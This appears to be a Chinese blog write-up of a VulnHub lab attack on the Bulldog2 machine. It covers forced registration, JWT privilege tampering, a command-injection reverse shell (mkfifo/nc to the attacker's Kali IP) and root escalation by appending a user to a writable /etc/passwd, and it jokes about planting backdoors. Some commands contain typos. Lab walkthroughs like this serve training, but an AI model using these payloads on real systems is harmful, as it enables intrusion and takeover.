渗透测试实战3——bulldog2靶机入侵
一、实验环境
- Kali攻击机:192.168.247.149
- bulldog 2靶机:192.168.247.150、(192.168.247.151)
开始之前,需先登录bulldog2。账号:dirty,密码:pass,并使其获取IP
二、实验步骤
(一)主动信息收集
1、扫描存活主机
2、扫描开放端口(192.168.247.150和192.168.247.151开放端口相同)
3、开放端口详细信息
4、网站版本
searchsploit nginx
在Kali集成的文件中没有发现Nginx1.14的版本,如果有,可以利用版本的漏洞进行渗透。
(二)端口探测
可以看到该靶机只开放了80端口, 接下来肯定是要探测目录了。
1、目录探测
默认字典探测
使用大字典探测
通过目录猜解发现没有可利用的目录,那根据个人经验估计突破口肯定在js文件里。
2、查看js文件
我们在查看页面的时候可以看到,页面上有个注册功能,但是我们点击出现一个通知 ' 遗憾的是,出于安全考虑,我们目前不接受注册。如果需要,请联系a客户支持代表创建一个商业帐户。',可以尝试利用该漏洞注册一个新账户。
- 尝试注册新用户
使用 ' register ' 作为关键字,对4个js文件进行搜索,只有main开头的js文件中包含register关键词,对该js文件进行研究,可发现现以下有用信息,如图所示:
根据js上的定义,我们可以使用 post提交新账户信息来完成注册,但是注意这里有2点要求:
- Content-Type 必须要是:application/json
- post 数据包内容处,必须要严格按照js代码里的规范
不能注册,我们可以使用新账户和密码进行登录,使用BurpSuite进行抓包,然后按照上面的要求对其进行改包。
可以看到返回true,注册成功了。使用新创建的(用户名:admin123,密码:123admin)账号进行登录,登录成功。
进入该账户界面,里面没有可利用的信息,此时我们可以向上提权,将该账户修改为管理员账户。
3、垂直提权
退出当前登陆账户,回到注册点,再次登陆,并进行抓包
然后Forword,就可以看到服务器返回的数据包
接下来我们就来解密一下看这个tonken传递了什么内容,我们可以去Google搜索 ' JWT解密 ' (注:一般第一条就是我们想要的),解密网址:https://jwt.io。
我们把那个tonken后面的编码复制进去查询一下看看,出现如下图所示的结果:
此时我们看到一个可疑的参数:' auth_level ',通过名字就应该知道是判断用户权限的,我们使用这个参数去刚刚保存的几个js文件里搜索看看,只有main开头的js文件中包含auth_level关键词,如图:
根据代码我们可以推断出,下一步我们只需要把 ' standard_user ' 替换成 ' master_admin_user ' 就行,如图:
接下来复制修改后的新编码,替换原来的编码,注:后面明文处也要修改成“master_admin_user”,如图:
改完之后,放包,我们已经成功变成了 admin 账户。(到这一步,不要退出,下面的操作会用着)
下面我们就直接在修改密码处执行漏洞拿反弹shell
4、获取Shell
点击Admin,输入已存在的用户名和错误的密码进行登录,使用BurpSuite进行抓包,在密码后面添加一句话反弹shell命令,并在Kali测试机上监听端口1234。如图所示:
此处的反弹shell命令为:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.149 >/tmp/f; //192.168.247.149为Kali测试机IP地址
成功拿到shell。
5、提权
python -c 'impport pty;pty.spawn("/bin/bash")' //将简单的Shell转换成为完全交互式的TTY
切换到/etc,查看passwd文件权限,发现该文件可读、可写、可执行,如图:
查看用户
新建一个具有root权限的用户,并追加到passwd文件中。
- perl -le 'print crypt("pass","aa")' //perl需要一个加密盐对密码pass进行加密,如这里使用了aa(salt指加密中用到的随机字符串,用不同的salt可以生成不同的加密结果)。
- echo 'cqq:aaW3cJZ7OSoQM:0:0:cqq:/root:/bin/bash' >> passwd
我们只需要修改3处(上面命令中标红的三处):一个是名字(cqq)、一个是刚刚编译出来的密文、一个是跟名字一样。此处的 0:0 切记不可修改,相信小伙伴们都了解过passwd文件的权限类型。
再次查看passwd文件,新用户添加成功。
确认一切都没问题了,就可以直接输入命令:su cqq,密码为刚刚设置的:pass。成功拿到root权限,并拿到flag,如图:
终极三连问
之后便可以留后门,清理痕迹,奔跑了。。。
三、总结
1、不管是靶机的安全检测还是平时的渗透测试工作,我们都不应该去忽略js文件;
2、页面如果有注册但又不能注册时,我们可以使用一个新用户进行登录,然后使用“register”作为关键词在js文件中查找相关源代码,对注册新用户的要求,注册新用户,通过BurpSuite抓包按照代码的要求对其进行改包,使其注册成功;
3、垂直提权,通过修改服务器对普通用户登录的回包(auth_level),将其变成具有管理员权限的用户;
4、获得shell——在Kali上监听端口1234;登录管理员账户,在数据包的密码后面添加一句话木马(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.149 1234 >/tmp/f;)获得反弹shell;
5、python -c ‘import pty;pty.spawn(“/bin/bash”) —— 将shell转换为完全交互式的TTY;
6、发现/etc/passwd具有写入权限,新建一个具有root权限的用户,并追加到passwd文件中。然后 su cqq 进行检验。
- perl -le ‘print crypt(“pass”,”aa”)’ //对密码pass使用加密盐aa对其进行加密
- echo 'cqq:aaW3cJZ7OSoQM:0:0:cqq:/root:/bin/bash' >> passwd
渗透测试实战3——bulldog2靶机入侵相关推荐
- VulnHub渗透测试实战靶场 - Odin:1
VulnHub渗透测试实战靶场 - Odin:1 题目描述 环境下载 NULLY CYBERSECURITY: 1靶机搭建 渗透测试 信息搜集 漏洞挖掘 getshell 提权 题目描述 Odin v ...
- 《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础
目录 前言 一.内网基础知识 1.工作组 2.域 3.活动目录 (1)活动目录的功能 (2)DC和AD区别 4.安全域的划分 (1)DMZ (2)内网 5.域中计算机的分类 6.域内权限 (1)组 ( ...
- VulnHub渗透测试实战靶场 - POTATO (SUNCSR): 1
VulnHub渗透测试实战靶场 - POTATO(SUNCSR): 1 环境下载 POTATO (SUNCSR): 1靶机搭建 渗透测试 信息搜集 漏洞挖掘 getshell 提权 环境下载 戳此进行 ...
- VulnHub渗透测试实战靶场 - THE ETHER: EVILSCIENCE
VulnHub渗透测试实战靶场 - THE ETHER: EVILSCIENCE 环境下载 THE ETHER: EVILSCIENCE靶机搭建 渗透测试 信息搜集 漏洞挖掘 getshell 提权 ...
- VulnHub渗透测试实战靶场-HA: FORENSICS
VulnHub渗透测试实战靶场-HA: FORENSICS 题目描述 环境下载 HA: FORENSICS靶机搭建 渗透测试 信息搜集 Flag获取 Flag-1 Flag-2 Flag-3 Flag ...
- vulnhub之CH4INRULZ渗透测试实战
vulnhub之CH4INRULZ渗透测试实战 一.环境搭建 目标: 获取root权限,并获得flag 难度:中级 下载链接:https://download.vulnhub.com/ch4inrul ...
- 《树莓派渗透测试实战》——2.7 设置SSH服务
本节书摘来自异步社区<树莓派渗透测试实战>一书中的第2章,第2.7节,作者[美]Joseph Muniz(约瑟夫 穆尼斯),Aamir Lakhani(阿米尔 拉克哈尼),朱筱丹 译,更多 ...
- 《树莓派渗透测试实战》——总结
本节书摘来异步社区<树莓派渗透测试实战>一书中的第1章,作者 [美]Joseph Muniz(约瑟夫 穆尼斯) , Aamir Lakhani(阿米尔 拉克哈尼),更多章节内容可以访问云栖 ...
- 《树莓派渗透测试实战》——2.12 用例子总结以上步骤
本节书摘来异步社区<树莓派渗透测试实战>一书中的第2章,第2.12节,作者[美]Joseph Muniz(约瑟夫 穆尼斯) , Aamir Lakhani(阿米尔 拉克哈尼),更多章节内容 ...
最新文章
- 什么是第三方物流管理?如何套用模板进行绘制
- python jenkins库 api简介
- mysql -u -p -d_mysqld_exporter监控mysql
- [2020多校A层12.3]虚构推理(语言/二分/数据结构)
- 阿里巴巴对Java编程【单元测试】的规约
- 老码农的人生需要多线程的去生活
- JavaScript之call,bind,apply方法及 this 的用法辨析
- sqlite like通配符使用 -转
- MS AJAX Control Toolkit 学习
- 推荐10个最好用的数据采集工具
- VMware vCloud Director视频教程
- python 爬取百度日历
- linux ubuntu extmail,利用Ubuntu ExtMail 30分钟配置好一个功能强大的邮件
- 计算机安全证书有问题怎么办,此网站的安全证书有问题如何取消 此网站的安全证书有问题解决方法...
- 抱歉,我又可以了。。。
- Milvus以图搜图环境搭建
- 手机打电话提示无法连接到移动网络
- 日志系统新贵,Loki到底优秀在哪里?
- python全角数字_python 半角全角的相互转换
- Leetcode力扣 VS Code插件——面向新手